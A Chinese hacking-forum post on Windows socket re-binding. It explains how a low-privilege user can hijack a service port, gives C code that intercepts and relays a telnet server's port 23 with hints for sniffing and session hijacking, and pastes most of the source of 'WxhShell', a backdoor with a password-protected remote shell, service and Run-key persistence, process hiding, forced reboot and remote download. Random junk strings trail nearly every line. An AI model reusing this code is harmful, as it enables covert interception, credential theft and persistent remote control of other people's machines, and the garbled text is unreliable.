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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Ha)eeE$  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); <2HI. @^  
=.#*MYB.l  
  saddr.sin_family = AF_INET; 9(dbou  
.-k\Q} D  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Ps4spy0Fp  
J'sVT{@GS  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); A84I*d  
]HgAI$aA,  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 !rlN|HB  
vClD)Ar  
  这意味着什么?意味着可以进行如下的攻击: l Ztq_* Fl  
(@vu/yN  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 SuMK=^>%  
 I@08F  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ]6v6&YV  
N5Eb.a9S  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 9?:SxI;v  
=P!SN]nFeP  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  wv|:-8V  
l 'fUa  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 S^]i  
Z,.*!S=?h  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Vf`n>  
m,K0BL  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 BI?M/pIm  
]d&6 ?7 !>  
  #include X<9jBj/t  
  #include 'QFf 7A  
  #include ~Y<x-)R  
  #include    Q+*o-  
  DWORD WINAPI ClientThread(LPVOID lpParam);   r5xu#%hgp;  
  int main() r]iec{ ^  
  { _'JKPD[  
  WORD wVersionRequested; iqig~fjK ~  
  DWORD ret; U{ gJn#e/.  
  WSADATA wsaData; ]7}2"?J4v  
  BOOL val; ]xBQ7Xqf|  
  SOCKADDR_IN saddr; ^EdY:6NJ=A  
  SOCKADDR_IN scaddr; pP;GDW4  
  int err; D:sQHJ. y  
  SOCKET s; v4kk4}lE  
  SOCKET sc; r3<yG"J86  
  int caddsize; *IJctYJaX  
  HANDLE mt; <\|f;7/  
  DWORD tid;   Z#IRNFj  
  wVersionRequested = MAKEWORD( 2, 2 ); 8 C@iD%  
  err = WSAStartup( wVersionRequested, &wsaData ); ^|5bK_Z&  
  if ( err != 0 ) { )s4#)E1  
  printf("error!WSAStartup failed!\n"); O:"gJ4D  
  return -1; ;]34l."85  
  } m;)[gF  
  saddr.sin_family = AF_INET; $/ew'h9q  
   qP-*  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 t5G@M&d4Eo  
5K|1Y#X  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Q7zg i  
  saddr.sin_port = htons(23); ABvB1[s#  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |Tuk9d4]  
  { a938l^@;s8  
  printf("error!socket failed!\n"); rIR~YMv!  
  return -1; R@-rc|FunJ  
  } m{gx\a.5  
  val = TRUE; % zHsh  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 -bdF=  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) WBLfxr  
  { %Ak"d+OH4  
  printf("error!setsockopt failed!\n"); X!V@jo9?  
  return -1; SxcNr5F   
  } n,SDJsS^  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; JL45!+  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽  T},Nqt<  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 OV8Y)%t"  
q$7WZ+Y\  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ^\Gaf5{  
  { 48nZ H=(Eh  
  ret=GetLastError(); ,Ua`BWF  
  printf("error!bind failed!\n"); l'n"iQ!G  
  return -1; 5rK7nLb  
  } 6|+I~zJ88  
  listen(s,2); ;0(|06=  
  while(1) *6=2UJcJ  
  { ,{MA90!  
  caddsize = sizeof(scaddr); `O ?61YUQH  
  //接受连接请求 AI}29L3C  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); PB*m D7"  
  if(sc!=INVALID_SOCKET) ~ \z7$9Q  
  { %GQPiWu  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); nm2bBX,fh  
  if(mt==NULL) ?a+>%uWt  
  { UM%]A'h2O"  
  printf("Thread Creat Failed!\n"); l?LwQmq6  
  break; oY{L0B[  
  } {0 d/;  
  } cl:h 'aG  
  CloseHandle(mt); 2'UWPZgE  
  } Rqu_[M  
  closesocket(s); ('QfB<4H1  
  WSACleanup(); `2Rd=M]?  
  return 0; U<QO@5  
  }   U0G(  
  DWORD WINAPI ClientThread(LPVOID lpParam) (+lw t  
  { qKag'0e  
  SOCKET ss = (SOCKET)lpParam; >J,Rx!fq3  
  SOCKET sc; ")LcB' C  
  unsigned char buf[4096]; + pTc2z  
  SOCKADDR_IN saddr; w}nc^6qH  
  long num; M|nTO  
  DWORD val; VgLrufJ  
  DWORD ret; #lXwBfBMf  
  //如果是隐藏端口应用的话,可以在此处加一些判断 :23w[vt=  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ;DbEP.%u$  
  saddr.sin_family = AF_INET; xwoK#eC~ F  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ( `T;nz  
  saddr.sin_port = htons(23); L ldZ"%P  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _3v6c  
  { }xXUCU<  
  printf("error!socket failed!\n"); ]/&qv6D*d  
  return -1; ~Ry?}5&:  
  } FY1 >{Bn  
  val = 100; t[/WGF&(R  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) =?hGa;/rb  
  { },<(VhP  
  ret = GetLastError(); %X)w$}WH  
  return -1; Q'D%?Vg'  
  } M,nX@8 _h  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ObJgJr  
  { \>,[5|GU  
  ret = GetLastError(); ! f!/~M"!  
  return -1; L[;U Z)V@  
  } WrJgU&H{  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) =UY)U-  
  { cCOw7<  
  printf("error!socket connect failed!\n"); g:&YSjO>G  
  closesocket(sc); g{0a]'ph  
  closesocket(ss); ,=!_7'm  
  return -1; >G `Uc&=  
  } ZYf0FC=-  
  while(1) Mkc   
  { rD ^ b{]E3  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 R]L$Ld< ij  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 = cQK^$6(  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 uW4 )DT9[5  
  num = recv(ss,buf,4096,0); ,i0Dw"/u  
  if(num>0) PX!$w*q  
  send(sc,buf,num,0); gt]k#(S  
  else if(num==0) ZbBz@1O  
  break; cP8g. +  
  num = recv(sc,buf,4096,0); SLI(;, s  
  if(num>0) /Mq9~oC  
  send(ss,buf,num,0); k2]fUP  
  else if(num==0) *nZe|)m  
  break; MPaF  
  } VS.~gHx  
  closesocket(ss); ",&^ f  
  closesocket(sc); 7T7 A\  
  return 0 ; oW[];r  
  } ,_+Gb  
NA@<v{z  
jTSN`R9@  
========================================================== =17d7#-  
R -#40  
下边附上一个代码,,WXhSHELL $r3kAM;V:  
S=f:-?N|  
========================================================== VPC7Dh%.  
,$4f#)  
#include "stdafx.h" Ufw_GYxan  
/J@<e{&t~  
#include <stdio.h> 8rV"? m`S  
#include <string.h> ORCG(N  
#include <windows.h> m/E$0tf  
#include <winsock2.h> Chso]N.1  
#include <winsvc.h> A-6><X's6  
#include <urlmon.h> }Mv$Up  
)c6t`SBwi  
#pragma comment (lib, "Ws2_32.lib") NUN~T (  
#pragma comment (lib, "urlmon.lib") 4`X]$.  
EOj.Jrs~  
#define MAX_USER   100 // 最大客户端连接数 ZBY*C;[)*P  
#define BUF_SOCK   200 // sock buffer s@$SM,tnn  
#define KEY_BUFF   255 // 输入 buffer 59R%g .2Y  
TWU[/ >K  
#define REBOOT     0   // 重启 yhPO$L  
#define SHUTDOWN   1   // 关机 xGkc_  
6d;_}  
#define DEF_PORT   5000 // 监听端口 4{v?<x8  
6?`3zdOeO  
#define REG_LEN     16   // 注册表键长度 c*!xdK  
#define SVC_LEN     80   // NT服务名长度 6&,{"N0 T  
, tEd>  
// 从dll定义API ~9We)FvU4  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); S\poa:D`  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [Dq@(Q s'  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); hJc^NU5  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (ah^</  
{SRv=g  
// wxhshell配置信息 Efa3{ 7>{  
struct WSCFG { ABIQi[A  
  int ws_port;         // 监听端口 LlF|VR&P.  
  char ws_passstr[REG_LEN]; // 口令 t&>eZ"  
  int ws_autoins;       // 安装标记, 1=yes 0=no _xz>O [unf  
  char ws_regname[REG_LEN]; // 注册表键名 'pa8h L  
  char ws_svcname[REG_LEN]; // 服务名 B]nu \!  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 EYy|JT]B  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 }i F|NIV  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 oC  }  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 3vc2t6S%*  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" )b=m|A GX  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 uQmtd  
J|uSj/8  
}; S-7ryHH*0  
 _(_U=  
// default Wxhshell configuration Q2LAXTF]y  
struct WSCFG wscfg={DEF_PORT, xXQW|#X\  
    "xuhuanlingzhe", gw^X-  
    1, E%&E<<nhZ  
    "Wxhshell", rvUJ K,oE  
    "Wxhshell", ?l?_8y/ww  
            "WxhShell Service", 4_KRH1  
    "Wrsky Windows CmdShell Service", FdE9k\E#/)  
    "Please Input Your Password: ", G0mvrc-(  
  1, lxh}N,  
  "http://www.wrsky.com/wxhshell.exe", _|C T|q  
  "Wxhshell.exe" I AFj_VWC0  
    }; j"4]iI+{"  
hmES@^n!_  
// 消息定义模块 NGp^/PZX0  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; }nt,DG!r  
char *msg_ws_prompt="\n\r? for help\n\r#>"; /I@`B2  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Y{`hRz`  
char *msg_ws_ext="\n\rExit."; aSM S uX8  
char *msg_ws_end="\n\rQuit."; 3;er.SFu{  
char *msg_ws_boot="\n\rReboot..."; a IgV"3  
char *msg_ws_poff="\n\rShutdown..."; WW3! ,ln_  
char *msg_ws_down="\n\rSave to "; o%3VE8-  
j\%m6\{n|  
char *msg_ws_err="\n\rErr!"; =|O><O|  
char *msg_ws_ok="\n\rOK!"; "tUc  
" o>` Y  
char ExeFile[MAX_PATH]; 7 : .bqRu  
int nUser = 0; eCy]ugsi%  
HANDLE handles[MAX_USER]; ,/Yo1@U  
int OsIsNt; )%Lgo${[;  
g7`uWAxZa  
SERVICE_STATUS       serviceStatus; wpepi8w,  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; $E35 W=~)  
;Ebpf J  
// 函数声明 &^JYIRn1\  
int Install(void); f' &  
int Uninstall(void); lFc4| _c g  
int DownloadFile(char *sURL, SOCKET wsh); pWN5>HV  
int Boot(int flag); oh%/\Xu  
void HideProc(void); wg{Y6X yH  
int GetOsVer(void); Mb\[` 4z  
int Wxhshell(SOCKET wsl); e*/ya8p?  
void TalkWithClient(void *cs); G}0fk]%\:  
int CmdShell(SOCKET sock); mP+rPDGp  
int StartFromService(void); [+ N 5  
int StartWxhshell(LPSTR lpCmdLine); O#@KP"8  
J%ue{PL7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Ku<_N]9  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &k0c|q]  
gt:Ot0\7  
// 数据结构和表定义 gLQbA$gB  
SERVICE_TABLE_ENTRY DispatchTable[] = P#x]3j]  
{ yL%k5cO$N  
{wscfg.ws_svcname, NTServiceMain}, }c;h:CE#  
{NULL, NULL} bl-t>aO*.V  
}; ("rIz8b  
~8^)[n+)x  
// 自我安装 * ~4m!U_s  
int Install(void) -"X} )N2  
{ Rss=ihlM  
  char svExeFile[MAX_PATH]; ^J7g)j3  
  HKEY key; VkDFR [k_  
  strcpy(svExeFile,ExeFile); d$*SVd:  
&xjeZh4-  
// 如果是win9x系统,修改注册表设为自启动 &Vi0.o  
if(!OsIsNt) { sAKQ.8$h*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }hX"A!0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); jHWJpm(  
  RegCloseKey(key); _<P~'IN+n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :>GT<PPD;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %Q[+bN[/  
  RegCloseKey(key); m[!AOln)  
  return 0;  zFk@Y  
    } ^"\., Y  
  } `<kV)d%xEF  
} MB] Y|Vee  
else {  {r?qI  
^_^rI+cTX1  
// 如果是NT以上系统,安装为系统服务 "yV)&4 )  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $N`uM  
if (schSCManager!=0) ?FRQ!R  
{ fl18x;^I  
  SC_HANDLE schService = CreateService u#m(Py  
  ( )#n>))   
  schSCManager, ?G>#'T[  
  wscfg.ws_svcname, M[ZuXH}  
  wscfg.ws_svcdisp, [j`-R 0Np  
  SERVICE_ALL_ACCESS, Cb/?hT  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @5-+>\Hd^t  
  SERVICE_AUTO_START, /,Sd  
  SERVICE_ERROR_NORMAL, !saKAb}d7H  
  svExeFile, k&>l#oH  
  NULL, JI}p{ yI  
  NULL, hT<:)MG)+K  
  NULL, C JNz J(  
  NULL, % 1p4K)  
  NULL |uE _aFQs  
  ); X@7K#@5  
  if (schService!=0) 4MOA}FZ~  
  { ,.+"10=N.  
  CloseServiceHandle(schService); D3emO'`gQ  
  CloseServiceHandle(schSCManager); vDAv/l9  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); pY9>z;qD  
  strcat(svExeFile,wscfg.ws_svcname); o ) FjWf;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { FE/2.!]&o  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 8Bnw//_pT  
  RegCloseKey(key); ^D0BGC&&  
  return 0; "@[xo7T  
    } ;ckv$S[p  
  } d#eHX|+  
  CloseServiceHandle(schSCManager); m'%Z53&  
} r6-'p0|   
} OWK)4[HY(  
\T_?<t,UT  
return 1; ?JD\pYg[/  
} [+st?;"GF  
|k4ZTr]?  
// 自我卸载 6)eU &5z1?  
int Uninstall(void) }PY? ZG  
{ g loo].z  
  HKEY key; h;KI2k_^  
{&c%VVZb:Z  
if(!OsIsNt) { ~;;_POm  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O:a$ U:  
  RegDeleteValue(key,wscfg.ws_regname); wzMWuA4vX  
  RegCloseKey(key); Y e}y_W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n~d`PGs?f  
  RegDeleteValue(key,wscfg.ws_regname); }m<)$.x|P  
  RegCloseKey(key); dMwVgc:  
  return 0; [vaG{4m  
  } ^IGTGY]s  
} H\3CvFm  
} m(3bO[u1  
else {  1Nk}W!v  
(t9qwSS8z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Tj{!Fx^H  
if (schSCManager!=0) 'ej{B0rE  
{ Sg<''pUh  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [<sBnHbvQ.  
  if (schService!=0) ++13m*fA  
  { #U&G$E`7  
  if(DeleteService(schService)!=0) { t@/r1u|iq  
  CloseServiceHandle(schService); 5Wi5`8m  
  CloseServiceHandle(schSCManager); ]~(Ipz2NP  
  return 0; g-%uw[pf  
  } t MB;GIb #  
  CloseServiceHandle(schService); 8}Y( @ %4  
  } b}$m!c:<8  
  CloseServiceHandle(schSCManager); Te> 7I  
} yg2~qa:dZ  
} C({L4O#?o  
kkrQ;i)Z  
return 1; _}!Q4K  
} j<+iL]b  
.@APxeU  
// 从指定url下载文件 "MXd!  
int DownloadFile(char *sURL, SOCKET wsh) @Ds?  
{ xsFWF*HPs  
  HRESULT hr; (cYc03"  
char seps[]= "/"; &/\0_CoTR\  
char *token; (U`7[F  
char *file; X5U!25d]  
char myURL[MAX_PATH]; [-$&pB>w8'  
char myFILE[MAX_PATH]; $Y,]D*|"K  
$vy.BY Fm  
strcpy(myURL,sURL); #OWwg`AWv  
  token=strtok(myURL,seps); ~ilbW|s?=k  
  while(token!=NULL) (p14{  
  { N"t, 6tH  
    file=token; aXC`yQ?  
  token=strtok(NULL,seps); )hQNIt3o_  
  } i%*x7zjY{  
~.x!st}  
GetCurrentDirectory(MAX_PATH,myFILE); @-b}iP<T  
strcat(myFILE, "\\"); H[,.nH_>+  
strcat(myFILE, file); v& XG4 &  
  send(wsh,myFILE,strlen(myFILE),0); w.l#Z} k  
send(wsh,"...",3,0); G)43Y!  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); v:6b&wS L3  
  if(hr==S_OK) EmY4>lr  
return 0; O~,^x$v e  
else X\%],"9%  
return 1; {b<8Z*4W  
)X^nzhZ2O"  
} ?o.G@-  
=,@SZsM*B  
// 系统电源模块 jQ`"Op 3  
int Boot(int flag) %q*U[vv  
{ nLtP^ 1~9H  
  HANDLE hToken; cR5<.$aY  
  TOKEN_PRIVILEGES tkp; KH KqE6  
&`TX4b^/!  
  if(OsIsNt) { =_yOX=g|  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); N%B#f\N  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8:&@MZQ&!  
    tkp.PrivilegeCount = 1; TVFGonVY  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; %okEN !=  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); iD(K*[;lc  
if(flag==REBOOT) { #Y18z5vo  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) z|b4w7 I  
  return 0; &6\rKOsn  
} @6D<D6`  
else { 9i`LOl:;  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) tIr66'8  
  return 0; d,QJf\fc"  
} <m(nZ'Zqz2  
  } >Le mTr  
  else { Dea;9O  
if(flag==REBOOT) { F'#3wCzt  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) . t3@86xTJ  
  return 0; 2#!$f_  
} v;$^1I  
else { nlmkkTHF8  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) I'@ }Yjm|  
  return 0; @s IZ  
} *Cb(4h-  
} S&=B&23T  
!X.N$0  
return 1; by06!-P0[  
} _&z>Id`w  
]DUH_<3"E  
// win9x进程隐藏模块 []2GN{m  
void HideProc(void) z H \*v'  
{ e.jgV=dT-  
!J71[4t  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); p~mB;pZ%;  
  if ( hKernel != NULL ) 1_p'0lFe  
  { [MEa@D<7N  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); F@I_sGCcb  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Va 5U`0  
    FreeLibrary(hKernel); Yr31GJ}K  
  } SUVr&S6Nk  
)T3wU~%  
return; v[|iuOU  
} 9]YmP8  
cQ8:;-M   
// 获取操作系统版本 y1'/@A1  
int GetOsVer(void) 53T2w,?  
{ 2~@=ua[|=5  
  OSVERSIONINFO winfo; sS|zz,y  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 4Ek< 5s[  
  GetVersionEx(&winfo); 82=][9d #  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 1Jd:%+T  
  return 1; 08` @u4  
  else @E)XT\;3  
  return 0; ^$L/Mv+  
} zR .MXr  
7RLh#D|  
// 客户端句柄模块 "_l[4o[D  
int Wxhshell(SOCKET wsl) ]d[q:N]z  
{ +\ySx^vi  
  SOCKET wsh; Yx%%+c?.   
  struct sockaddr_in client; c1 <g!Q&E  
  DWORD myID; _NkN3f5 1L  
1)R)+`y  
  while(nUser<MAX_USER) b?^n'0  
{ /{U{smtdFl  
  int nSize=sizeof(client); Xm4wuX"e=  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Gs6 #aL}]R  
  if(wsh==INVALID_SOCKET) return 1; r%#qbsN  
~4^e a  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Z~|J"2.  
if(handles[nUser]==0) QEgv,J{  
  closesocket(wsh); 9N29dp>g{{  
else  ;E&XFTdO  
  nUser++; 3q>"#+R.t  
  } ,*4"d._Y  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); xr/ k.Fz  
TGNeEYr  
  return 0; L$xRn/\  
} -Gpj^aBU  
Dk-L4FS  
// 关闭 socket c`.:"i" k3  
void CloseIt(SOCKET wsh) r&[~/m8zl  
{ E)P1`X  
closesocket(wsh); uM}O8N  
nUser--; H6O\U2+  
ExitThread(0); zaZ}:N/w(z  
} @}gdOaw  
Wg%-m%7O  
// 客户端请求句柄 t>fB@xHBB  
void TalkWithClient(void *cs) {<2Zb N?  
{ |$t0cd  
=gIYa  
  SOCKET wsh=(SOCKET)cs; ,2`d3u^CW  
  char pwd[SVC_LEN];  {5udol5?  
  char cmd[KEY_BUFF]; jveRiW@  
char chr[1]; @\y7 9FX  
int i,j; Kq$Zyf=E  
yjq )}y,tF  
  while (nUser < MAX_USER) { D'h2 DP!  
6{ Nbe=  
if(wscfg.ws_passstr) { [1C#[Vla  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f#~Re:7.c  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3(:mRb}  
  //ZeroMemory(pwd,KEY_BUFF); v,+@ U6i  
      i=0; C\^K6,m5  
  while(i<SVC_LEN) { I/aAx.q  
h 3&:"*A2  
  // 设置超时 *eP4dGe&  
  fd_set FdRead; o zYI/b^  
  struct timeval TimeOut; Pb,^UFa=  
  FD_ZERO(&FdRead);  o,yvi  
  FD_SET(wsh,&FdRead); yLx.*I^6  
  TimeOut.tv_sec=8; FQFENq''B  
  TimeOut.tv_usec=0; ej;ta Kzj  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); pJz8e&wyLM  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); {yHfE,  
l8-jFeeMd  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k)py\  
  pwd=chr[0]; `<zb  
  if(chr[0]==0xd || chr[0]==0xa) { }dUC^04  
  pwd=0; i!3KG|V  
  break; hYn'uL^~[  
  } 6bNW1]rD  
  i++; ,[\(U!Z7:%  
    } tZ^;{sM  
aA`q!s.%A  
  // 如果是非法用户,关闭 socket L{f>;[FR  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $kma#7  
} GZEonCk[&  
(J&Xo.<Z-  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); mM* yv  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lrhAO"/1  
k+[KD>;1  
while(1) { +ca296^  
-ZP&zOsDr  
  ZeroMemory(cmd,KEY_BUFF); gKN_~{{OD  
b3xkJ&Z  
      // 自动支持客户端 telnet标准   j/D)UWkR  
  j=0; 8>Z$/1Mh  
  while(j<KEY_BUFF) { EcoUpiL%2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2\{uq v  
  cmd[j]=chr[0]; hPz df*(8  
  if(chr[0]==0xa || chr[0]==0xd) { {*;]I?9Al  
  cmd[j]=0; C..2y4bA}  
  break; OLNn3 J  
  } "t:.mA<v  
  j++; fVUBCu  
    } 51qIo4$  
^-GX&ODa  
  // 下载文件 uV_)JZ W,L  
  if(strstr(cmd,"http://")) { i*R:WTw#  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); |OZ>/l {  
  if(DownloadFile(cmd,wsh)) id+m [']+  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); #0g#W  
  else 'c0'P%[5A  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YeC,@d[  
  } Y@H,Lk  
  else { I`W-RWZ  
g[au-.:  
    switch(cmd[0]) { yvWzc uL#  
  0DB<hpC:5  
  // 帮助 BhW]Oq&  
  case '?': { |Xm4(FN\  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); T[h}A"yK;  
    break; -\'.JA_  
  } qTHg[sME  
  // 安装 l5';?>!s  
  case 'i': { p@8krOo`  
    if(Install()) qM>OE8c#/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @ P"`=BU&  
    else o+-Ge J  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >|/ ? Up  
    break; on;sq8;  
    } fsJTwSI["  
  // 卸载 'Z2N{65  
  case 'r': { b?] S&)"9  
    if(Uninstall()) ru/zLj:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I^O:5x> [l  
    else "1!.^<V*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Da8$Is;n  
    break; @@/'b '  
    } J )8pqa   
  // 显示 wxhshell 所在路径 Ag#5.,B-  
  case 'p': { O\?5#.   
    char svExeFile[MAX_PATH]; [wio/wc  
    strcpy(svExeFile,"\n\r"); Wytvs*\`  
      strcat(svExeFile,ExeFile); EkStb#  
        send(wsh,svExeFile,strlen(svExeFile),0); 3]`qnSYBv  
    break; 2x`xyR_Q.R  
    } -{8Q= N  
  // 重启 im \ YL<  
  case 'b': { a&s"# j  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); c+b:K  
    if(Boot(REBOOT)) DAMpR3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hw ;dm  
    else { *T>#zR{  
    closesocket(wsh); ;8L+_YCa  
    ExitThread(0); ?%dCU~ z  
    } bpF@}#fT  
    break; |T$a+lHMD  
